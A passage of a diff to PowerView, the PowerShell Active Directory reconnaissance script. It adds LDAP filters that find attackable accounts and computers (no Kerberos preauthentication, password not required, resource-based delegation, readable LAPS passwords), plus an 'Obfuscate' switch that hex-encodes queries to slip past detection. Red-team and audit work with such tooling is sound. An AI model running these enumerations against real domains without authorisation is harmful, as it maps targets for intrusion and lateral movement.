that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } + if ($PSBoundParameters['PreauthNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' + } + if ($PSBoundParameters['PassNotRequired']) { + Write-Verbose '[Get-DomainUser] Searching for user accounts that have PASSWD_NOTREQD set' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=32)' + } + if ($PSBoundParameters['PassLastSet']) { + Write-Verbose "[Get-DomainUser] Searching for user accounts that have not had a password change for at least $PSBoundParameters['PassLastSet'] days" + $PwdDate = (Get-Date).AddDays(-$PSBoundParameters['PassLastSet']).ToFileTime() + $Filter += "(pwdlastset<=$PwdDate)" + } + + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } + + Write-Verbose "[Get-DomainUser] filter string: (&(samAccountType=805306368)$Filter" + + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306368)$Filter)" + + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or ($a -eq 'ntsecuritydescriptor') -or ($a -eq 'logonhours')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) } + $Prop[$a] = $Values } } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - elseif ($IdentityInstance.Contains('\')) { - $ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical - if ($ConvertedIdentityInstance) { - $UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/')) - $UserName = $IdentityInstance.Split('\')[1] - $IdentityFilter += "(samAccountName=$UserName)" - $SearcherArguments['Domain'] = $UserDomain - Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'" - $UserSearcher = Get-DomainSearcher @SearcherArguments + } + else { + $Prop = $_.Properties + } + + $Continue = $True + if ($PSBoundParameters['PassExpired']) { + if ($MaximumAge -gt 0) { + $PwdLastSet = $Prop.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $Prop.whencreated[0] + } + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -gt $ExpireTime) { + $Continue = $False } } else { - $IdentityFilter += "(samAccountName=$IdentityInstance)" + $Continue = $False } } - - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" - } - - if ($PSBoundParameters['SPN']) { - Write-Verbose '[Get-DomainUser] Searching for non-null service principal names' - $Filter += '(servicePrincipalName=*)' - } - if ($PSBoundParameters['AllowDelegation']) { - Write-Verbose '[Get-DomainUser] Searching for users who can be delegated' - # negation of "Accounts that are sensitive and not trusted for delegation" - $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))' - } - if ($PSBoundParameters['DisallowDelegation']) { - Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)' - } - if ($PSBoundParameters['AdminCount']) { - Write-Verbose '[Get-DomainUser] Searching for adminCount=1' - $Filter += '(admincount=1)' - } - if ($PSBoundParameters['TrustedToAuth']) { - Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals' - $Filter += '(msds-allowedtodelegateto=*)' - } - if ($PSBoundParameters['PreauthNotRequired']) { - Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)' - } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } - - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + elseif ($PSBoundParameters['PassNotExpired'] -and (($Prop.useraccountcontrol[0] -band 65536) -ne 65536)) { + if ($MaximumAge -gt 0) { + $PwdLastSet = $Prop.pwdlastset[0] + if ($PwdLastSet -eq 0) { + $PwdLastSet = $Prop.whencreated[0] + } + $ExpireTime = (Get-Date).AddDays(-$MaximumAge).ToFileTimeUtc() + if ($PwdLastSet -le $ExpireTime) { + $Continue = $False + } } } - - $UserSearcher.filter = "(&(samAccountType=805306368)$Filter)" - Write-Verbose "[Get-DomainUser] filter string: $($UserSearcher.filter)" - - if ($PSBoundParameters['FindOne']) { $Results = $UserSearcher.FindOne() } - else { $Results = $UserSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { + if ($Continue) { if ($PSBoundParameters['Raw']) { # return raw result objects $User = $_ $User.PSObject.TypeNames.Insert(0, 'PowerView.User.Raw') } else { - $User = Convert-LDAPProperty -Properties $_.Properties + $User = Convert-LDAPProperty -Properties $Prop $User.PSObject.TypeNames.Insert(0, 'PowerView.User') } $User } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainUser] Error disposing of the Results object: $_" - } - } - $UserSearcher.dispose() + } + if ($Results) { + try { $Results.dispose() } + catch { } } } } @@ -5855,6 +6121,14 @@ Specifies the maximum amount of time the server spends searching. Default of 120 A [Management.Automation.PSCredential] object of alternate credentials for connection to the target domain. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .OUTPUTS Hashtable @@ -5889,19 +6163,34 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- [Management.Automation.PSCredential] [Management.Automation.CredentialAttribute()] - $Credential = [Management.Automation.PSCredential]::Empty + $Credential = [Management.Automation.PSCredential]::Empty, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) $GUIDs = @{'00000000-0000-0000-0000-000000000000' = 'All'} $ForestArguments = @{} if ($PSBoundParameters['Credential']) { $ForestArguments['Credential'] = $Credential } + $DomainDNArguments = @{} + if ($PSBoundParameters['Domain']) { $DomainDNArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DomainDNArguments['Server'] = $Server } + if ($PSBoundParameters['Credential']) { $DomainDNArguments['Credential'] = $Credential } + if ($PSBoundParameters['SSL']) { $DomainDNArguments['SSL'] = $SSL } + try { $SchemaPath = (Get-Forest @ForestArguments).schema.name } catch { - throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' + $DomainDN = Get-DomainDN @DomainDNArguments + if ($DomainDN) { + $SchemaPath = "CN=Schema,CN=Configuration,$($DomainDN)" + } } if (-not $SchemaPath) { throw '[Get-DomainGUIDMap] Error in retrieving forest schema path from Get-Forest' @@ -5909,56 +6198,87 @@ http://blogs.technet.com/b/ashleymcglone/archive/2013/03/25/active-directory-ou- $SearcherArguments = @{ 'SearchBase' = $SchemaPath - 'LDAPFilter' = '(schemaIDGUID=*)' } if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain } if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server } if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize } if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $SchemaSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } - if ($SchemaSearcher) { - try { - $Results = $SchemaSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $GUIDs[(New-Object Guid (,$_.properties.schemaidguid[0])).Guid] = $_.properties.name[0] - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + $LDAPFilter = '(schemaIDGUID=*)' + try { + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate') -or $a -eq 'schemaidguid') { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } } } - $SchemaSearcher.dispose() + else { + $Prop = $_.Properties + } + + $GUIDs[(New-Object Guid (,$Prop.schemaidguid[0])).Guid] = $Prop.name[0] } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } } } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } $SearcherArguments['SearchBase'] = $SchemaPath.replace('Schema','Extended-Rights') - $SearcherArguments['LDAPFilter'] = '(objectClass=controlAccessRight)' - $RightsSearcher = Get-DomainSearcher @SearcherArguments + $LDAPFilter = '(objectClass=controlAccessRight)' - if ($RightsSearcher) { - try { - $Results = $RightsSearcher.FindAll() - $Results | Where-Object {$_} | ForEach-Object { - $GUIDs[$_.properties.rightsguid[0].toString()] = $_.properties.name[0] - } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + try { + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "$LDAPFilter" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] + } + else { + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values + } } } - $RightsSearcher.dispose() + else { + $Prop = $_.Properties + } + + $GUIDs[$Prop.rightsguid[0].toString()] = $Prop.name[0] } - catch { - Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error disposing of the Results object: $_" + } } } + catch { + Write-Verbose "[Get-DomainGUIDMap] Error in building GUID map: $_" + } $GUIDs } @@ -6001,10 +6321,18 @@ Switch. Return computer objects that have unconstrained delegation. Switch. Return computer objects that are trusted to authenticate for other principals. +.PARAMETER RBCD + +Switch. Return computer objects that are configured to allow resource-based constrained delegation. + .PARAMETER Printers Switch. Return only printers. +.PARAMETER ExcludeDCs + +Switch. Do not return domain controllers. + .PARAMETER SPN Return computers with a specific service principal name, wildcards accepted. @@ -6025,6 +6353,22 @@ Return computers in the specific AD Site name, wildcards accepted. Switch. Ping each host to ensure it's up before enumerating. +.PARAMETER LastLogon + +Return computers that have logged on within a number of days. + +.PARAMETER HasLAPS + +Switch. Return computers with LAPS enabled. + +.PARAMETER NoLAPS + +Switch. Return computers without LAPS enabled. + +.PARAMETER CanReadLAPS + +Switch. Return computers where the LAPS password is readable. + .PARAMETER Domain Specifies the domain to use for the query, defaults to the current domain. @@ -6080,6 +6424,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainComputer @@ -6136,9 +6488,15 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $TrustedToAuth, + [Switch] + $RBCD, + [Switch] $Printers, + [Switch] + $ExcludeDCs, + [ValidateNotNullOrEmpty()] [Alias('ServicePrincipalName')] [String] @@ -6159,6 +6517,19 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. [Switch] $Ping, + [ValidateRange(1, 10000)] + [Int] + $LastLogon, + + [Switch] + $HasLAPS, + + [Switch] + $NoLAPS, + + [Switch] + $CanReadLAPS, + [ValidateNotNullOrEmpty()] [String] $Domain, @@ -6210,7 +6581,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -6233,7 +6610,16 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $CompSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + + $DNSearcherArguments = @{} + if ($PSBoundParameters['Domain']) { $DNSearcherArguments['Domain'] = $Domain } + if ($PSBoundParameters['Server']) { $DNSearcherArguments['Server'] = $Server } + if ($PSBoundParameters['SSL']) { $DNSearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$DNSearcherArguments['Obfuscate'] = $Obfuscate } + } PROCESS { @@ -6242,118 +6628,177 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($CompSearcher) { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" - } - elseif ($IdentityInstance -match '^CN=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - $SearcherArguments['Domain'] = $IdentityDomain - $CompSearcher = Get-DomainSearcher @SearcherArguments - if (-not $CompSearcher) { - Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" - } + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^CN=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainComputer] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $CompSearcher = Get-DomainSearcher @SearcherArguments + if (-not $CompSearcher) { + Write-Warning "[Get-DomainComputer] Unable to retrieve domain searcher for '$IdentityDomain'" } } - elseif ($IdentityInstance.Contains('.')) { - $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" - } - elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { - $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' - $IdentityFilter += "(objectguid=$GuidByteString)" - } - else { - $IdentityFilter += "(name=$IdentityInstance)" - } } - if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { - $Filter += "(|$IdentityFilter)" + elseif ($IdentityInstance.Contains('.')) { + $IdentityFilter += "(|(name=$IdentityInstance)(dnshostname=$IdentityInstance))" } + elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') { + $GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join '' + $IdentityFilter += "(objectguid=$GuidByteString)" + } + else { + $IdentityFilter += "(name=$IdentityInstance)" + } + } + if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) { + $Filter += "(|$IdentityFilter)" + } - if ($PSBoundParameters['Unconstrained']) { - Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' - $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' - } - if ($PSBoundParameters['TrustedToAuth']) { - Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' - $Filter += '(msds-allowedtodelegateto=*)' - } - if ($PSBoundParameters['Printers']) { - Write-Verbose '[Get-DomainComputer] Searching for printers' - $Filter += '(objectCategory=printQueue)' - } - if ($PSBoundParameters['SPN']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" - $Filter += "(servicePrincipalName=$SPN)" - } - if ($PSBoundParameters['OperatingSystem']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" - $Filter += "(operatingsystem=$OperatingSystem)" - } - if ($PSBoundParameters['ServicePack']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" - $Filter += "(operatingsystemservicepack=$ServicePack)" - } - if ($PSBoundParameters['SiteName']) { - Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" - $Filter += "(serverreferencebl=$SiteName)" - } - if ($PSBoundParameters['LDAPFilter']) { - Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" - $Filter += "$LDAPFilter" - } - # build the LDAP filter for the dynamic UAC filter value - $UACFilter | Where-Object {$_} | ForEach-Object { - if ($_ -match 'NOT_.*') { - $UACField = $_.Substring(4) - $UACValue = [Int]($UACEnum::$UACField) - $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" - } - else { - $UACValue = [Int]($UACEnum::$_) - $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + if ($PSBoundParameters['Unconstrained']) { + Write-Verbose '[Get-DomainComputer] Searching for computers with for unconstrained delegation' + $Filter += '(userAccountControl:1.2.840.113556.1.4.803:=524288)' + } + if ($PSBoundParameters['TrustedToAuth']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are trusted to authenticate for other principals' + $Filter += '(msds-allowedtodelegateto=*)' + } + if ($PSBoundParameters['RBCD']) { + Write-Verbose '[Get-DomainComputer] Searching for computers that are configured to allow resource-based constrained delegation' + $Filter += '(msds-allowedtoactonbehalfofotheridentity=*)' + } + if ($PSBoundParameters['Printers']) { + Write-Verbose '[Get-DomainComputer] Searching for printers' + $Filter += '(objectCategory=printQueue)' + } + if ($PSBoundParameters['ExcludeDCs']) { + Write-Verbose '[Get-DomainComputer] Excluding domain controllers' + $Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=8192))' + } + if ($PSBoundParameters['SPN']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with SPN: $SPN" + $Filter += "(servicePrincipalName=$SPN)" + } + if ($PSBoundParameters['OperatingSystem']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with operating system: $OperatingSystem" + $Filter += "(operatingsystem=$OperatingSystem)" + } + if ($PSBoundParameters['ServicePack']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with service pack: $ServicePack" + $Filter += "(operatingsystemservicepack=$ServicePack)" + } + if ($PSBoundParameters['SiteName']) { + Write-Verbose "[Get-DomainComputer] Searching for computers with site name: $SiteName" + $Filter += "(serverreferencebl=$SiteName)" + } + if ($PSBoundParameters['LastLogon']) { + Write-Verbose "[Get-DomainComputer] Searching for computer accounts that have logged on within the last $PSBoundParameters['LastLogon'] days" + $LogonDate = (Get-Date).AddDays(-$PSBoundParameters['LastLogon']).ToFileTime() + $Filter += "(lastlogon>=$LogonDate)" + } + if (($PSBoundParameters['HasLAPS']) -or ($PSBoundParameters['NoLAPS']) -or ($PSBoundParameters['CanReadLAPS'])) { + $SchemaDN = "CN=Schema,CN=Configuration,$(Get-DomainDN @DNSearcherArguments)" + $AttrFilter = '' + Write-Verbose "[Get-DomainComputer] Using distinguished name: $SchemaDN" + if ($PSBoundParameters['HasLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } } + if ($PSBoundParameters['NoLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd*)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "(!($_=*))" + } + if ($AttrFilter) { $Filter += "(&$AttrFilter)" } + } + if ($PSBoundParameters['CanReadLAPS']) { + # Searching for attribute name, which can differ as per pingcastle by @vletoux + # https://github.com/vletoux/pingcastle/blob/master/Scanners/LAPSBitLocker.cs + Get-DomainObject -SearchBase $SchemaDN -LDAPFilter "(name=ms-*-admpwd)" -Properties 'name' @SearcherArguments | select -expand name | ForEach-Object { + Write-Verbose "[Get-DomainComputer] Searching for attribute: $_" + $AttrFilter += "($_=*)" + } + if ($AttrFilter) { $Filter += "(|$AttrFilter)" } + } + } + if ($PSBoundParameters['LDAPFilter']) { + Write-Verbose "[Get-DomainComputer] Using additional LDAP filter: $LDAPFilter" + $Filter += "$LDAPFilter" + } + # build the LDAP filter for the dynamic UAC filter value + $UACFilter | Where-Object {$_} | ForEach-Object { + if ($_ -match 'NOT_.*') { + $UACField = $_.Substring(4) + $UACValue = [Int]($UACEnum::$UACField) + $Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))" + } + else { + $UACValue = [Int]($UACEnum::$_) + $Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)" + } + } - $CompSearcher.filter = "(&(samAccountType=805306369)$Filter)" - Write-Verbose "[Get-DomainComputer] Get-DomainComputer filter string: $($CompSearcher.filter)" - if ($PSBoundParameters['FindOne']) { $Results = $CompSearcher.FindOne() } - else { $Results = $CompSearcher.FindAll() } - $Results | Where-Object {$_} | ForEach-Object { - $Up = $True - if ($PSBoundParameters['Ping']) { - $Up = Test-Connection -Count 1 -Quiet -ComputerName $_.properties.dnshostname - } - if ($Up) { - if ($PSBoundParameters['Raw']) { - # return raw result objects - $Computer = $_ - $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + + $Results = Invoke-LDAPQuery @SearcherArguments -LDAPFilter "(&(samAccountType=805306369)$Filter)" + $Results | Where-Object {$_} | ForEach-Object { + if (Get-Member -inputobject $_ -name "Attributes" -Membertype Properties) { + $Prop = @{} + foreach ($a in $_.Attributes.Keys | Sort-Object) { + if (($a -eq 'objectsid') -or ($a -eq 'sidhistory') -or ($a -eq 'objectguid') -or ($a -eq 'usercertificate')) { + $Prop[$a] = $_.Attributes[$a] } else { - $Computer = Convert-LDAPProperty -Properties $_.Properties - $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + $Values = @() + foreach ($v in $_.Attributes[$a].GetValues([byte[]])) { + $Values += [System.Text.Encoding]::UTF8.GetString($v) + } + $Prop[$a] = $Values } - $Computer } } - if ($Results) { - try { $Results.dispose() } - catch { - Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" - } + else { + $Prop = $_.Properties + } + + $Up = $True + if ($PSBoundParameters['Ping']) { + $Up = Test-Connection -Count 1 -Quiet -ComputerName $Prop.dnshostname + } + if ($Up) { + if ($PSBoundParameters['Raw']) { + # return raw result objects + $Computer = $_ + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer.Raw') + } + else { + $Computer = Convert-LDAPProperty -Properties $Prop + $Computer.PSObject.TypeNames.Insert(0, 'PowerView.Computer') + } + $Computer + } + } + if ($Results) { + try { $Results.dispose() } + catch { + Write-Verbose "[Get-DomainComputer] Error disposing of the Results object: $_" } - $CompSearcher.dispose() } } } @@ -6443,6 +6888,14 @@ for connection to the target domain. Switch. Return raw results instead of translating the fields into a custom PSObject. +.PARAMETER SSL + +Switch. Use SSL for the connection to the LDAP server. + +.PARAMETER Obfuscate + +Switch. Obfuscate the resulting LDAP filter string using hex encoding. + .EXAMPLE Get-DomainObject -Domain testlab.local @@ -6557,7 +7010,13 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. $Credential = [Management.Automation.PSCredential]::Empty, [Switch] - $Raw + $Raw, + + [Switch] + $SSL, + + [Switch] + $Obfuscate ) DynamicParam { @@ -6580,7 +7039,9 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks } if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone } if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential } - $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if ($PSBoundParameters['FindOne']) { $SearcherArguments['FindOne'] = $FindOne } + if ($PSBoundParameters['SSL']) { $SearcherArguments['SSL'] = $SSL } + if ($PSBoundParameters['Obfuscate']) {$SearcherArguments['Obfuscate'] = $Obfuscate } } PROCESS { @@ -6588,98 +7049,113 @@ The raw DirectoryServices.SearchResult object, if -Raw is enabled. if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) { New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters } - if ($ObjectSearcher) { - $IdentityFilter = '' - $Filter = '' - $Identity | Where-Object {$_} | ForEach-Object { - $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') - if ($IdentityInstance -match '^S-1-') { - $IdentityFilter += "(objectsid=$IdentityInstance)" + $IdentityFilter = '' + $Filter = '' + $Identity | Where-Object {$_} | ForEach-Object { + $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29') + if ($IdentityInstance -match '^S-1-') { + $IdentityFilter += "(objectsid=$IdentityInstance)" + } + elseif ($IdentityInstance -match '^(CN|OU|DC)=') { + $IdentityFilter += "(distinguishedname=$IdentityInstance)" + if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { + # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname + # and rebuild the domain searcher + $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' + Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" + $SearcherArguments['Domain'] = $IdentityDomain + $ObjectSearcher = Get-DomainSearcher @SearcherArguments + if (-not $ObjectSearcher) { + Write-Warning "[Get-DomainObject] Unable to retrieve domain searcher for '$IdentityDomain'" + } } - elseif ($IdentityInstance -match '^(CN|OU|DC)=') { - $IdentityFilter += "(distinguishedname=$IdentityInstance)" - if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) { - # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname - # and rebuild the domain searcher - $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.' - Write-Verbose "[Get-DomainObject] Extracted domain '$IdentityDomain' from '$IdentityInstance'" - 